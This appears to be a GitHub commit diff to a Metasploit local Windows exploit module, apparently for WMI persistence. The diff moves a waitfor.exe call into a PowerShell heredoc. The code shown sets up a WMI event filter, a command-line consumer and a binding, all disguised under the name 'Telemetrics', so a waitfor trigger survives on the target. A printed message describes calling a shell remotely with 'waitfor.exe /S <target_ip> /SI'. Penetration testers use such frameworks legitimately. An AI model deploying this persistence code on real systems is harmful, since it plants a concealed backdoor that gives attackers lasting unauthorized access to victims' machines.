File tree Expand file tree Collapse file tree 1 file changed +1
-1
lines changed
modules/exploits/windows/local Expand file tree Collapse file tree 1 file changed +1
-1
lines changed Original file line number Diff line number Diff line change @@ -110,7 +110,6 @@ def exploit
110
110
remove_persistence
111
111
when 'WAITFOR'
112
112
psh_exec ( subscription_waitfor )
113
- cmd_exec ( "waitfor.exe" , args = " #{ datastore [ 'WAITFOR_TRIGGER' ] } " )
114
113
print_good "Persistence installed! Call a shell using \" waitfor.exe /S <target_ip> /SI " +datastore [ 'WAITFOR_TRIGGER' ] +"\" "
115
114
remove_persistence
116
115
end
@@ -189,6 +188,7 @@ def subscription_waitfor
189
188
$filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \" Telemetrics\" ; Query = \" SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\" ; QueryLanguage = 'WQL'}
190
189
$consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \" Telemetrics\" ; CommandLineTemplate = \" waitfor.exe #{ word } \" }
191
190
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1}
191
+ Start-Process -FilePath waitfor.exe #{ word } -NoNewWindow
192
192
HEREDOC
193
193
end
194
194
You can’t perform that action at this time.
0 commit comments